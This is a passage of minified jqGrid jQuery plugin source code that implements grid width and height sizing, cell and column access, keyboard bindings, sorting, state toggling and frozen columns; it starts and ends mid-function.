$($t).jqGrid("isGroupHeaderOn"); if(setgr) { $($t).jqGrid('destroyGroupHeader', false); } if($t.p.frozenColumns && usefrozen) { $($t).jqGrid("destroyFrozenColumns"); frozen = true; } if(shrink ===false && $t.p.forceFit === true) {$t.p.forceFit=false;} if(shrink===true) { $.each($t.p.colModel, function() { if(this.hidden===false){ cw = this.widthOrg; initwidth += cw+brd; if(this.fixed) { gw += cw+brd; } else { vc++; } } }); if(vc === 0) { return; } $t.p.tblwidth = initwidth; aw = nwidth-brd*vc-gw; var norec_row = $("#norecs", "#"+$.jgrid.jqID($t.p.id)).eq(0); if(!isNaN($t.p.height)) { if($($t.grid.bDiv)[0].clientHeight <= $($t.grid.bDiv)[0].scrollHeight || $t.rows.length === (norec_row.length + 1) || $($t.grid.bDiv).css('overflow-y') === 'scroll'){ hs = true; aw -= scw; } } initwidth =0; var cle = $t.grid.cols.length >0; $.each($t.p.colModel, function(i) { if(this.hidden === false && !this.fixed){ cw = this.widthOrg; cw = Math.round(aw*cw/($t.p.tblwidth-brd*vc-gw)); if (cw < 0) { return; } this.width =cw; initwidth += cw; $t.grid.headers[i].width=cw; $t.grid.headers[i].el.style.width=cw+"px"; if($t.p.footerrow) { $t.grid.footers[i].style.width = cw+"px"; } if($t.p.headerrow) { $t.grid.hrheaders[i].style.width = cw+"px"; } if(cle) { $t.grid.cols[i].style.width = cw+"px"; } lvc = i; } }); if (!lvc) { return; } cr =0; if (hs) { if(nwidth-gw-(initwidth+brd*vc) !== scw){ cr = nwidth-gw-(initwidth+brd*vc)-scw; } } else if( !hs && Math.abs(nwidth-gw-(initwidth+brd*vc)) !== 0) { cr = nwidth-gw-(initwidth+brd*vc) - bstw; // + 1 pix to remove scroll } $t.p.colModel[lvc].width += cr; $t.p.tblwidth = initwidth+cr+brd*vc+gw; if($t.p.tblwidth > nwidth) { var delta = $t.p.tblwidth - parseInt(nwidth,10); $t.p.tblwidth = nwidth; cw = $t.p.colModel[lvc].width = $t.p.colModel[lvc].width-delta; } else if ($t.p.tblwidth === nwidth){ cw = $t.p.colModel[lvc].width = $t.p.colModel[lvc].width-bstw; $t.p.tblwidth = nwidth - bstw; } else { cw= $t.p.colModel[lvc].width; } var has_scroll = ($($t.grid.bDiv)[0].scrollWidth > $($t.grid.bDiv).width()) && bstw !==0 ? -1 : 0; cw = $t.p.colModel[lvc].width += has_scroll; $t.grid.headers[lvc].width = cw; $t.grid.headers[lvc].el.style.width=cw+"px"; if(cle) { $t.grid.cols[lvc].style.width = cw+"px"; } if($t.p.footerrow) { $t.grid.footers[lvc].style.width = cw+"px"; } if($t.p.headerrow) { $t.grid.hrheaders[lvc].style.width = cw+"px"; } } $($t.grid.bDiv).find('table').first().css("width",$t.p.tblwidth+"px"); $($t.grid.hDiv).find('table').first().css("width",$t.p.tblwidth+"px"); $t.grid.hDiv.scrollLeft = $t.grid.bDiv.scrollLeft; if($t.p.footerrow) { $($t.grid.sDiv).find('table').first().css("width",$t.p.tblwidth+"px"); } if($t.p.headerrow) { $($t.grid.hrDiv).find('table').first().css("width",$t.p.tblwidth+"px"); } if( setgr ) { var gHead = $.extend([],$t.p.groupHeader); $t.p.groupHeader = null; for(var k =0; k < gHead.length; k++) { $($t).jqGrid('setGroupHeaders', gHead[k]); } $t.grid.hDiv.scrollLeft = $t.grid.bDiv.scrollLeft; } if(frozen) { $($t).jqGrid("setFrozenColumns"); } }); }, setGridHeight : function ( nh, entrie_grid, usefrozen ) { return this.each(function (){ var $t = this; if(!$t.grid) {return;} var bDiv = $($t.grid.bDiv), static_height = $($t.grid.hDiv).outerHeight(), frozen = false; if( typeof entrie_grid !== 'boolean' ) { entrie_grid = false; } if( typeof usefrozen !== 'boolean' ) { usefrozen = true; } if(entrie_grid === true) { if($t.p.pager ) { static_height += $($t.p.pager).outerHeight(); } if($t.p.toppager ) { static_height += $($t.p.toppager).outerHeight(); } if($t.p.toolbar[0] === true){ static_height += $($t.grid.uDiv).outerHeight(); if($t.p.toolbar[1]==="both") { static_height += $($t.grid.ubDiv).outerHeight(); } } if($t.p.footerrow) { static_height += $($t.grid.sDiv).outerHeight(); } if($t.p.headerrow) { static_height += $($t.grid.hrDiv).outerHeight(); } if($t.p.caption) { static_height += $($t.grid.cDiv).outerHeight(); } if(nh > static_height) { // set it for the body nh = nh - static_height; } } if($t.p.frozenColumns && usefrozen) { $($t).jqGrid("destroyFrozenColumns"); frozen = true; } bDiv.css({height: nh+(isNaN(nh)?"":"px")}); $t.p.height = nh; if(frozen) { $($t).jqGrid("setFrozenColumns"); } if ($t.p.scroll) { $t.grid.populateVisible(); } }); }, maxGridHeight : function( action, newhgh, minrh ) { return this.each(function() { var $t = this; if(!$t.grid) { return; } if(minrh===undefined) { minrh = 25; } var bDiv = $($t.grid.bDiv); if( action === 'set' && !isNaN(newhgh)) { // row min height newhgh = parseFloat(newhgh); if( newhgh > parseFloat(minrh) ) { // min row height bDiv.css("max-height", newhgh ); if( ['100%','auto'].includes($t.p.height) && $($t.grid.bDiv).height() < $($t).height()) { $("#"+$.jgrid.jqID($t.p.id)).jqGrid('setGridWidth', $t.p.width+$t.p.scrollOffset-2, false, false ); } } } else if( action === 'remove') { var test = ['100%','auto'].includes($t.p.height) && $($t.grid.bDiv).height() < $($t).height(); bDiv.css("max-height", ""); if(test) { $("#"+$.jgrid.jqID($t.p.id)).jqGrid('setGridWidth', $t.p.width-$t.p.scrollOffset+2, false, false ); } } }); }, setCaption : function (newcap){ return this.each(function(){ var ctop = $(this).jqGrid('getStyleUI',this.p.styleUI+".common",'cornertop', true); this.p.caption=newcap; $(".ui-jqgrid-title, .ui-jqgrid-title-rtl",this.grid.cDiv).html(newcap); $(this.grid.cDiv).show(); $(this.grid.hDiv).removeClass(ctop); }); }, setLabel : function(colname, nData, prop, attrp ){ return this.each(function(){ var $t = this, pos=-1; if(!$t.grid) {return;} if( !$.jgrid.isNull(colname) ) { if(isNaN(colname)) { pos = $.jgrid.getElemByAttrVal($t.p.colModel, 'name', colname, true); } else { pos = parseInt(colname,10); } } else { return; } if( pos >= 0 ) { var thecol = $("tr.ui-jqgrid-labels th",$t.grid.hDiv).eq( pos ); if (nData){ var ico = $(".s-ico",thecol), col_menu = $(".colmenu",thecol); try { $("[id^=jqgh_]",thecol).empty().html(nData).append(ico).append(col_menu); } catch (er) {} $t.p.colNames[pos] = nData; if($t.p.frozenColumns) { thecol = $("tr.ui-jqgrid-labels th",$t.grid.fhDiv).eq( pos ); ico = $(".s-ico",thecol); $("[id^=jqgh_]",thecol).empty().html(nData).append(ico); } } if (prop) { if(typeof prop === 'string') {$(thecol).addClass(prop);} else {$(thecol).css(prop);} } if(typeof attrp === 'object') {$(thecol).attr(attrp);} var tmpcm = $t.p.colModel[pos]; if( tmpcm.autosize_headers ) { var hdr_font = $.jgrid.getFont( thecol[0]); tmpcm.canvas_width = ($.jgrid.getTextWidth( $("div", thecol)[0].outerText, hdr_font) + (tmpcm.colmenu ? $.jgrid.floatNum( $(".colmenuspan", thecol).parent().width()) : 0) + $.jgrid.floatNum( $("div", thecol).css("padding-left")) + $.jgrid.floatNum( $("div", thecol).css("padding-right")) + $.jgrid.floatNum($(".ui-jqgrid-resize", thecol).width())); } } }); }, setSortIcon : function(position, colname) { return this.each(function(){ var $t = this, pos=-1, len=1, nm, thecol, htmlcol, ico; if(!$t.grid) {return;} if( !$.jgrid.isNull(colname) ) { if(isNaN(colname)) { pos = $.jgrid.getElemByAttrVal($t.p.colModel, 'name', colname, true); } else { pos = parseInt(colname,10); } } else { len = $t.p.colNames.length; } for(var i =0; i<len; i++) { if(pos>=0) { i = pos; } nm = $t.p.colModel[i].name; if(nm === 'cb' || nm==='subgrid' || nm==='rn' || nm !== 'sc') { continue; } thecol = $("tr.ui-jqgrid-labels th", $t.grid.hDiv).eq( i ); htmlcol = $t.p.colNames[i]; ico = thecol.find(".s-ico"); if(position === 'left') { thecol.find("div.ui-th-div").first().empty().addClass("ui-icon-left").append(ico).append(htmlcol); } else if(position === 'right') { thecol.find("div.ui-th-div").first().empty().removeClass("ui-icon-left").append(htmlcol).append(ico); } if($t.p.frozenColumns) { thecol = $("tr.ui-jqgrid-labels th", $t.grid.fhDiv).eq( i ); htmlcol = $t.p.colNames[i]; ico = thecol.find(".s-ico"); if(position === 'left') { thecol.find("div.ui-th-div").first().empty().addClass("ui-icon-left").append(ico).append(htmlcol); } else if(position === 'right') { thecol.find("div.ui-th-div").first().empty().removeClass("ui-icon-left").append(htmlcol).append(ico); } } } }); }, setCell : function(rowid,colname,nData,cssp,attrp, forceupd) { return this.each(function(){ var $t = this, pos =-1, v, ind; if(!$t.grid) {return;} if(isNaN(colname)) { pos = $.jgrid.getElemByAttrVal($t.p.colModel, 'name', colname, true); } else { pos = parseInt(colname,10); } if(pos>=0) { ind = $($t).jqGrid('getGridRowById', rowid); if (ind){ var tcell, title, rawdat={}, cm = $t.p.colModel[pos], index; try { tcell = ind.cells[pos]; } catch(e){} if(tcell) { if(nData !== "" || forceupd === true ) { rawdat = $($t).jqGrid("getRowData", rowid, ($t.p.datatype === 'local')); rawdat[cm.name] = nData; v = $t.formatter(rowid, nData, pos, rawdat, 'edit'); title = cm.title ? {"title":$.jgrid.stripHtml(v)} : {}; if($t.p.treeGrid && $t.p.ExpandColumn === cm.name ) { $("span",$(tcell)).html(v).attr(title); } else { $(tcell).html(v).attr(title); } if($t.p.datatype === "local") { //nData = cm.formatter && typeof cm.formatter === 'string' && cm.formatter === 'date' ? $.unformat.date.call($t,nData,cm) : nData; index = $t.p._index[$.jgrid.stripPref($t.p.idPrefix, rowid)]; if(index !== undefined) { $t.p.data[index][cm.name] = nData; } } } if(typeof cssp === 'string'){ $(tcell).addClass(cssp); } else if(cssp) { $(tcell).css(cssp); } if(typeof attrp === 'object') { $(tcell).attr(attrp); } if($t.p.frozenColumns && pos <= $t.p.frozenColCount) { var fcell = $(tcell).clone(); $("#"+rowid +" td", "#" + $.jgrid.jqID($t.p.id + "_frozen") ).eq( pos ).replaceWith(fcell); } } } } }); }, getCell : function(rowid, col, returnobject) { var ret = false, obj; if(typeof returnobject !== 'boolean') { returnobject = false; } this.each(function(){ var $t=this, pos=-1, ind; if(!$t.grid) {return;} if(isNaN(col)) { pos = $.jgrid.getElemByAttrVal($t.p.colModel, 'name', col, true); } else { pos = parseInt(col,10); } if(pos>=0) { ind = $($t).jqGrid('getGridRowById', rowid); if(ind) { obj = $("td",ind).eq( pos ); if( returnobject ) { ret = obj; } else { try { ret = $.unformat.call($t, obj ,{rowId:ind.id, colModel:$t.p.colModel[pos]},pos); } catch (e){ ret = $.jgrid.htmlDecode( obj.html() ); } if($t.p.treeGrid && ret && $t.p.ExpandColumn === col ) { ret = $( "<div>" + ret +"</div>").find("span").first().html(); } } } } }); return ret; }, getCol : function (col, obj, mathopr) { var ret = [], val, sum=0, min, max, v; if( typeof obj !== 'boolean') { obj = false; } if(mathopr === undefined) { mathopr = false; } var font = $.jgrid.getFont( this[0] ); this.each(function(){ var $t=this, pos=-1, cm = $t.p.colModel; if(!$t.grid) {return;} if(isNaN(col)) { pos = $.jgrid.getElemByAttrVal($t.p.colModel, 'name', col, true); } else { pos = parseInt(col,10); } if( pos >= 0 ) { var ln = $t.rows.length, i = 0, dlen = 0; if (ln && ln>0){ for(; i < ln; i++){ if($($t.rows[i]).hasClass('jqgrow') && $t.rows[i].id !== "norecs") { if(mathopr === 'maxwidth') { if(max === undefined) { max = cm[pos].autosize_headers ? cm[pos].canvas_width : 0; } max = Math.max( $.jgrid.getTextWidth($t.rows[i].cells[pos].outerText, font), max); continue; } try { val = $.unformat.call($t,$($t.rows[i].cells[pos]),{rowId:$t.rows[i].id, colModel:$t.p.colModel[pos]},pos); } catch (e) { val = $.jgrid.htmlDecode($t.rows[i].cells[pos].innerHTML); } if(mathopr) { v = $.jgrid.floatNum(val); //if(!isNaN(v)) { sum += v; if (max === undefined) {max = min = v;} min = Math.min(min, v); max = Math.max(max, v); dlen++; //} } else if(obj) { ret.push( {id:$t.rows[i].id,value:val} ); } else { ret.push( val ); } } } if(mathopr) { switch(mathopr.toLowerCase()){ case 'sum': ret =sum; break; case 'avg': ret = sum/dlen; break; case 'count': ret = dlen; break; case 'min': ret = min; break; case 'max': ret = max; break; case 'maxwidth': ret = max; } } } } }); return ret; }, clearGridData : function(clearfooter, clearheader) { return this.each(function(){ var $t = this; if(!$t.grid) {return;} if(typeof clearfooter !== 'boolean') { clearfooter = false; } if(typeof clearheader !== 'boolean') { clearheader = false; } if($t.p.deepempty) { $("#"+$.jgrid.jqID($t.p.id)+" tbody").first().find("tr").slice( 1 ).remove(); } else { var trf = $("#"+$.jgrid.jqID($t.p.id)+" tbody").first().find("tr").first()[0]; $("#"+$.jgrid.jqID($t.p.id)+" tbody").first().empty().append(trf); } if($t.p.footerrow && clearfooter) { $(".ui-jqgrid-ftable td",$t.grid.sDiv).html(" "); } if($t.p.headerrow && clearheader) { $(".ui-jqgrid-hrtable td",$t.grid.hrDiv).html(" "); } $t.p.selrow = null; $t.p.selarrrow= []; $t.p.savedRow = []; $t.p.records = 0;$t.p.page=1;$t.p.lastpage=0;$t.p.reccount=0; $t.p.data = []; $t.p._index = {}; $t.p.groupingView._locgr = false; $t.updatepager(true,false); }); }, getInd : function(rowid,rc){ var ret =false,rw; this.each(function(){ rw = $(this).jqGrid('getGridRowById', rowid); if(rw) { ret = rc===true ? rw: rw.rowIndex; } }); return ret; }, bindKeys : function( settings ){ var o = $.extend({ onEnter: null, onSpace: null, onLeftKey: null, onRightKey: null, onSelectRow : true, scrollingRows : true },settings || {}); return this.each(function(){ var $t = this; if( !$('body').is('[role]') ){$('body').attr('role','application');} $t.p.scrollrows = o.scrollingRows; $($t).on("keydown", function(event){ var target = $($t).find('tr[tabindex=0]')[0], id, r, mind, expanded = $t.p.treeReader.expanded_field; //check for arrow keys if(target) { var previd = $t.p.selrow; mind = $t.p._index[$.jgrid.stripPref($t.p.idPrefix, target.id)]; if(event.keyCode === 37 || event.keyCode === 38 || event.keyCode === 39 || event.keyCode === 40){ // up key if(event.keyCode === 38 ){ r = target.previousSibling; id = ""; if(r && $(r).hasClass('jqgrow')) { if($(r).is(":hidden")) { while(r) { r = r.previousSibling; if(!$(r).is(":hidden") && $(r).hasClass('jqgrow')) {id = r.id;break;} } } else { id = r.id; } $($t).jqGrid('setSelection', id, o.onSelectRow, event); } $($t).triggerHandler("jqGridKeyUp", [id, previd, event]); if($.jgrid.isFunction(o.onUpKey)) { o.onUpKey.call($t, id, previd, event); } event.preventDefault(); } //if key is down arrow if(event.keyCode === 40){ r = target.nextSibling; id =""; if(r && $(r).hasClass('jqgrow')) { if($(r).is(":hidden")) { while(r) { r = r.nextSibling; if(!$(r).is(":hidden") && $(r).hasClass('jqgrow') ) {id = r.id;break;} } } else { id = r.id; } $($t).jqGrid('setSelection', id, o.onSelectRow, event); } $($t).triggerHandler("jqGridKeyDown", [id, previd, event]); if($.jgrid.isFunction(o.onDownKey)) { o.onDownKey.call($t, id, previd, event); } event.preventDefault(); } // left if(event.keyCode === 37 ){ if($t.p.treeGrid && $t.p.data[mind][expanded]) { $(target).find("div.treeclick").trigger('click'); } $($t).triggerHandler("jqGridKeyLeft", [$t.p.selrow, event]); if($.jgrid.isFunction(o.onLeftKey)) { o.onLeftKey.call($t, $t.p.selrow, event); } } // right if(event.keyCode === 39 ){ if($t.p.treeGrid && !$t.p.data[mind][expanded]) { $(target).find("div.treeclick").trigger('click'); } $($t).triggerHandler("jqGridKeyRight", [$t.p.selrow, event]); if($.jgrid.isFunction(o.onRightKey)) { o.onRightKey.call($t, $t.p.selrow, event); } } } //check if enter was pressed on a grid or treegrid node else if( event.keyCode === 13 ){ event.preventDefault(); $($t).triggerHandler("jqGridKeyEnter", [$t.p.selrow, event]); if($.jgrid.isFunction(o.onEnter)) { o.onEnter.call($t, $t.p.selrow, event); } } else if(event.keyCode === 32) { $($t).triggerHandler("jqGridKeySpace", [$t.p.selrow, event]); if($.jgrid.isFunction(o.onSpace)) { o.onSpace.call($t, $t.p.selrow, event); } } } }).on('click', function(e) { if( !$(e.target).is("input, textarea, select") ) { $(e.target,$t.rows).closest("tr.jqgrow").focus(); } }); }); }, unbindKeys : function(){ return this.each(function(){ $(this).off('keydown'); }); }, getLocalRow : function (rowid) { var ret = false, ind; this.each(function(){ if(rowid !== undefined) { ind = this.p._index[$.jgrid.stripPref(this.p.idPrefix, rowid)]; if(ind >= 0 ) { ret = this.p.data[ind]; } } }); return ret; }, progressBar : function ( pr ) { pr = $.extend({ htmlcontent : "", method : "hide", loadtype : "disable" }, pr || {}); return this.each(function(){ var sh = pr.method==="show" ? true : false, loadDiv = $("#load_"+$.jgrid.jqID(this.p.id)), offsetParent, top, scrollTop = $(window).scrollTop(); if(pr.htmlcontent !== "") { loadDiv.html( pr.htmlcontent ); } switch(pr.loadtype) { case "disable": break; case "enable": loadDiv.toggle( sh ); break; case "block": $("#lui_"+$.jgrid.jqID(this.p.id)).css(sh ? {top: 0,left:0, height: $("#gbox_" + $.jgrid.jqID(this.p.id) ).height(), width:$("#gbox_" + $.jgrid.jqID(this.p.id)).width(), "z-index":10000, position:"absolute"} : {}).toggle( sh ); loadDiv.toggle( sh ); break; } if (loadDiv.is(':visible')) { offsetParent = loadDiv.offsetParent(); loadDiv.css('top', ''); if (loadDiv.offset().top < scrollTop) { top = Math.min( 10 + scrollTop - offsetParent.offset().top, offsetParent.height() - loadDiv.height() ); loadDiv.css('top', top + 'px'); } } }); }, getColProp : function(colname){ var $t = this[0]; if ( !$t.grid ) { return false; } return $.jgrid.getElemByAttrVal($t.p.colModel, 'name', colname, false); }, setColProp : function(colname, obj){ //do not set width will not work return this.each(function(){ if ( this.grid ) { if ( $.isPlainObject( obj ) ) { var i = $.jgrid.getElemByAttrVal(this.p.colModel, 'name', colname, true); if ( i >= 0 ) { $.extend(true, this.p.colModel[i],obj); } } } }); }, sortGrid : function(colname,reload, sor){ return this.each(function(){ var $t=this,idx=-1,i, sobj=false; if ( !$t.grid ) { return;} if ( !colname ) { colname = $t.p.sortname; } for ( i=0;i<$t.p.colModel.length;i++ ) { if ( $t.p.colModel[i].index === colname || $t.p.colModel[i].name === colname ) { idx = i; if($t.p.frozenColumns === true && $t.p.colModel[i].frozen === true) { sobj = $t.grid.fhDiv.find("#" + $t.p.id + "_" + colname); } break; } } if ( idx !== -1 ){ var sort = $t.p.colModel[idx].sortable; if(!sobj) { sobj = $t.grid.headers[idx].el; } if ( typeof sort !== 'boolean' ) { sort = true; } if ( typeof reload !=='boolean' ) { reload = false; } if ( sort ) { $t.sortData("jqgh_"+$t.p.id+"_" + colname, idx, reload, sor, sobj); } } }); }, setGridState : function(state) { return this.each(function(){ if ( !this.grid ) {return;} var $t = this, open = $(this).jqGrid('getStyleUI',this.p.styleUI+".base",'icon_caption_open', true), close = $(this).jqGrid('getStyleUI',this.p.styleUI+".base",'icon_caption_close', true); if(state === 'hidden'){ $(".ui-jqgrid-bdiv, .ui-jqgrid-hdiv","#gview_"+$.jgrid.jqID($t.p.id)).slideUp("fast"); if($t.p.pager) {$($t.p.pager).slideUp("fast");} if($t.p.toppager) {$($t.p.toppager).slideUp("fast");} if($t.p.toolbar[0]===true) { if( $t.p.toolbar[1] === 'both') { $($t.grid.ubDiv).slideUp("fast"); } $($t.grid.uDiv).slideUp("fast"); } if($t.p.footerrow) { $(".ui-jqgrid-sdiv","#gbox_"+$.jgrid.jqID($t.p.id)).slideUp("fast"); } if($t.p.headerrow) { $(".ui-jqgrid-hrdiv","#gbox_"+$.jgrid.jqID($t.p.id)).slideUp("fast"); } $(".ui-jqgrid-headlink",$t.grid.cDiv).removeClass( open ).addClass( close ); $t.p.gridstate = 'hidden'; } else if(state === 'visible') { $(".ui-jqgrid-hdiv, .ui-jqgrid-bdiv","#gview_"+$.jgrid.jqID($t.p.id)).slideDown("fast"); if($t.p.pager) {$($t.p.pager).slideDown("fast");} if($t.p.toppager) {$($t.p.toppager).slideDown("fast");} if($t.p.toolbar[0]===true) { if( $t.p.toolbar[1] === 'both') { $($t.grid.ubDiv).slideDown("fast"); } $($t.grid.uDiv).slideDown("fast"); } if($t.p.footerrow) { $(".ui-jqgrid-sdiv","#gbox_"+$.jgrid.jqID($t.p.id)).slideDown("fast"); } if($t.p.headerrow) { $(".ui-jqgrid-hrdiv","#gbox_"+$.jgrid.jqID($t.p.id)).slideDown("fast"); } $(".ui-jqgrid-headlink",$t.grid.cDiv).removeClass( close ).addClass( open ); $t.p.gridstate = 'visible'; } }); }, setFrozenColumns : function () { return this.each(function() { if ( !this.grid ) {return;} var $t = this, cm = $t.p.colModel,i=0, len = cm.length, hd= $($t).jqGrid('getStyleUI',$t.p.styleUI+".base",'headerDiv', true, 'ui-jqgrid-hdiv'), hover = $($t).jqGrid('getStyleUI',$t.p.styleUI+".common",'hover', true), borderbox = $("#gbox_"+$.jgrid.jqID($t.p.id)).css("box-sizing") === 'border-box', pixelfix = borderbox ? 1 : 0; // TODO treeGrid and grouping Support if($t.p.subGrid === true || $t.p.treeGrid === true || $t.p.cellEdit === true || /*$t.p.sortable ||*/ $t.p.scroll || $t.p.frozenColumns /* $t.p.grouping === true*/) { return; } // get the max index of frozen col $t.p.frozenColCount = -1; while(i<len) { // from left, no breaking frozen if(cm[i].frozen === true) { $t.p.frozenColCount = i; } else { break; } i++; } if( $t.p.frozenColCount >= 0) { var divhth = $(".ui-jqgrid-hdiv","#gview_"+$.jgrid.jqID($t.p.id)).height(), bpos = $(".ui-jqgrid-bdiv","#gview_"+$.jgrid.jqID($t.p.id)).position(), bhpos = $(".ui-jqgrid-hdiv","#gview_"+$.jgrid.jqID($t.p.id)).position(); $t.grid.fhDiv = $('<div style="position:absolute;' + ($t.p.direction === "rtl" ? 'right:0px;' : 'left:0px;') + 'top:'+bhpos.top+'px;height:'+(divhth - pixelfix)+'px;" class="frozen-div ' + hd +'"></div>'); $t.grid.fbDiv = $('<div style="position:absolute;' + ($t.p.direction === "rtl" ? 'right:0px;' : 'left:0px;') + 'top:'+ bpos.top +'px;overflow-y:hidden" class="frozen-bdiv ui-jqgrid-bdiv"></div>'); $("#gview_"+$.jgrid.jqID($t.p.id)).append($t.grid.fhDiv); var htbl = $(".ui-jqgrid-htable","#gview_"+$.jgrid.jqID($t.p.id)).clone(true), fthh = null; // groupheader support - only if useColSpanstyle is false $(htbl).width(1); $($t.grid.fhDiv).append(htbl); if( $($t).jqGrid('isGroupHeaderOn') ) { fthh = $("tr.jqg-third-row-header", $t.grid.hDiv).height(); $("tr.jqg-first-row-header, tr.jqg-third-row-header", htbl).each(function(){ $("th", this).slice( $t.p.frozenColCount + 1 ).remove(); }); var swapfroz = -1, fdel = -1, cs, rs; $("tr.jqg-second-row-header th", htbl).each(function(){ cs= parseInt($(this).attr("colspan"),10); rs= parseInt($(this).attr("rowspan"),10); if(rs) { swapfroz++; fdel++; } if(cs) { swapfroz = swapfroz+cs; fdel++; } if(swapfroz === $t.p.frozenColCount) { fdel = $t.p.frozenColCount; return false; } }); if(swapfroz !== $t.p.frozenColCount) { fdel = $t.p.frozenColCount; } $("tr.jqg-second-row-header", htbl).each(function(){ $("th", this).slice( fdel + 1 ).remove(); }); var testws = $("tr.jqg-second-row-header th", htbl).filter( function() { return $(this).css("display") !== "none"; }).first(); if($.jgrid.type(testws) === 'object' && testws.length && testws.css("visibility") !== 'hidden' && $.jgrid.trim(testws[0].outerText) === "") { testws.html(' '); } testws = $("tr.jqg-third-row-header th", htbl).filter( function() { return $(this).css("display") !== "none"; }).first(); if($.jgrid.type(testws) === 'object' && testws.length && testws.css("visibility") !== 'hidden' && $.jgrid.trim(testws[0].outerText) === "") { $("div",testws).prepend(' '); } } else { var maxdh=[]; $("#gview_"+$.jgrid.jqID($t.p.id) +" .ui-jqgrid-htable > thead >tr").each(function(i,n){ maxdh.push(parseInt($(this).height(),10)); }); $("thead >tr",htbl).each(function(){ $("th", this).slice( $t.p.frozenColCount + 1 ).remove(); }); $("thead >tr",htbl).each(function(i){ if(i===0) { maxdh[i] -=1; } $(this).height(maxdh[i]); }); } //if( fthh ) { //$("tr.jqg-third-row-header th", htbl).eq(0).height(fthh); //} //$(htbl).width(1); if(!$.jgrid.msie()) { $(htbl).css("height","100%"); } // resizing stuff $($t.grid.fhDiv)//.append(htbl) .mousemove(function (e) { if($t.grid.resizing){ $t.grid.dragMove(e);return false; } }); if ($t.p.sortable && $.fn.sortable) { // disable sortable with mouse on frozen columns $($t.grid.fhDiv).find("tr.ui-jqgrid-labels th").addClass("sortable-disabled"); } if($t.p.headerrow) { $t.grid.fhrDiv = $('<div style="position:absolute;' + ($t.p.direction === "rtl" ? 'right:0px;' : 'left:0px;') + 'top:0px;" class="frozen-hrdiv ui-jqgrid-hrdiv "></div>'); $("#gview_"+$.jgrid.jqID($t.p.id)).append($t.grid.fhrDiv); } if($t.p.footerrow) { $t.grid.fsDiv = $('<div style="position:absolute;' + ($t.p.direction === "rtl" ? 'right:0px;' : 'left:0px;') + 'top:0px;" class="frozen-sdiv ui-jqgrid-sdiv"></div>'); $("#gview_"+$.jgrid.jqID($t.p.id)).append($t.grid.fsDiv); } // data stuff //TODO support for setRowData $("#gview_"+$.jgrid.jqID($t.p.id)).append($t.grid.fbDiv); $($t.grid.fbDiv).on('mousewheel DOMMouseScroll', function (e) { $t.grid.bDiv.scrollTop += e.type === "mousewheel" ? -e.originalEvent.wheelDelta / 10 : e.originalEvent.detail * 6; }); if($t.p.hoverrows === true) { $("#"+$.jgrid.jqID($t.p.id)).off('mouseover mouseout'); } //var hasscroll; $($t).on('jqGridAfterGridComplete.setFrozenColumns', function () { $("#"+$.jgrid.jqID($t.p.id)+"_frozen").remove(); // hasscroll = parseInt($($t.grid.bDiv)[0].scrollWidth,10) > parseInt($($t.grid.bDiv)[0].clientWidth,10); $($t.grid.fbDiv).height( $($t.grid.bDiv)[0].clientHeight ); //- (hasscroll ? 0 : $t.p.scrollOffset-3)); // find max height var mh = []; $("#"+$.jgrid.jqID($t.p.id) + " tr[role=row].jqgrow").each(function(){ mh.push( $(this).height() ); }); var btbl = $("#"+$.jgrid.jqID($t.p.id)).clone(true); $("tr[role=row]",btbl).each(function(){ $("td[role=gridcell]", this).slice( $t.p.frozenColCount + 1).remove(); }); $(btbl).width(1).attr("id",$t.p.id+"_frozen"); $($t.grid.fbDiv).append(btbl); // set the height $("tr[role=row].jqgrow",btbl).each(function(i, n){ $(this).height( mh[i] ); if( Math.abs($(this).height() - mh[i]) >= 0.3 ) { var tt = $("td:visible", this).first(); tt.height(mh[i] - Math.round(parseFloat(tt.css("border-bottom-width")) )); } }); if($t.rows[1] && $t.rows[1].id === 'norecs') { $("#norecs td", btbl).html(""); } $($t.grid.fbDiv)[0].scrollTop = $($t.grid.bDiv)[0].scrollTop; if($t.p.hoverrows === true) { $("tr.jqgrow", btbl).hover( function(){ $(this).addClass( hover ); $("#"+$.jgrid.jqID(this.id), "#"+$.jgrid.jqID($t.p.id)).addClass( hover ); },function(){ $(this).removeClass( hover ); $("#"+$.jgrid.jqID(this.id), "#"+$.jgrid.jqID($t.p.id)).removeClass( hover ); } ); $("tr.jqgrow", "#"+$.jgrid.jqID($t.p.id)).hover( function(){ $(this).addClass( hover ); $("#"+$.jgrid.jqID(this.id), "#"+$.jgrid.jqID($t.p.id)+"_frozen").addClass( hover ); }, function(){ $(this).removeClass( hover ); $("#"+$.jgrid.jqID(this.id), "#"+$.jgrid.jqID($t.p.id)+"_frozen").removeClass( hover ); } ); } //btbl=null; if($t.p.headerrow) { var bhtop = $($t.grid.hrDiv).position(); $("table",$t.grid.fhrDiv).remove(); var hrtbl = $(".ui-jqgrid-hrtable","#gview_"+$.jgrid.jqID($t.p.id)).clone(true); $("tr",hrtbl).each(function(){ $("td", this).slice( $t.p.frozenColCount + 1 ).remove(); }); $(hrtbl).width(1); $($t.grid.fhrDiv).css("top", bhtop.top+"px").append(hrtbl); } if($t.p.footerrow) { var bttop = $($t.grid.sDiv).position(); $("table",$t.grid.fsDiv).remove(); var ftbl = $(".ui-jqgrid-ftable","#gview_"+$.jgrid.jqID($t.p.id)).clone(true); $("tr",ftbl).each(function(){ $("td", this).slice( $t.p.frozenColCount + 1 ).remove(); }); $(ftbl).width(1); $($t.grid.fsDiv).css("top", bttop.top+"px").append(ftbl); } }); if(!$t.grid.hDiv.loading) { $($t).triggerHandler("jqGridAfterGridComplete.setFrozenColumns"); } $t.p.frozenColumns = true; $($t).triggerHandler("onFrozenColumnsCall"); } }); }, destroyFrozenColumns : function() { return this.each(function() { if ( !this.grid ) {return;} if(this.p.frozenColumns === true) { var $t = this, hover = $($t).jqGrid('getStyleUI',$t.p.styleUI+".common",'hover', true); $($t.grid.fhDiv).remove(); $($t.grid.fbDiv).remove(); $t.grid.fhDiv = null; $t.grid.fbDiv=null; if($t.p.footerrow) { $($t.grid.fsDiv).remove(); $t.grid.fsDiv = null; } if($t.p.headerrow) { $($t.grid.fhrDiv).remove(); $t.grid.fhrDiv = null; } $(this).off('.setFrozenColumns'); if($t.p.hoverrows === true) { var ptr; $("#"+$.jgrid.jqID($t.p.id)).on({ 'mouseover': function(e) { ptr = $(e.target).closest("tr.jqgrow"); if($(ptr).attr("class") !== "ui-subgrid") { $(ptr).addClass( hover ); } }, 'mouseout' : function(e) { ptr = $(e.target).closest("tr.jqgrow"); $(ptr).removeClass( hover ); } }); } this.p.frozenColumns = false; this.p.frozenColCount = -1; } }); }, resizeColumn : function ( iCol, newWidth, forceresize, setfrozen ) { return this.each(function() { var tgrid = this.grid, pr = this.p, cm = pr.colModel, i, cmLen = cm.length, diff, diffnv; if( typeof 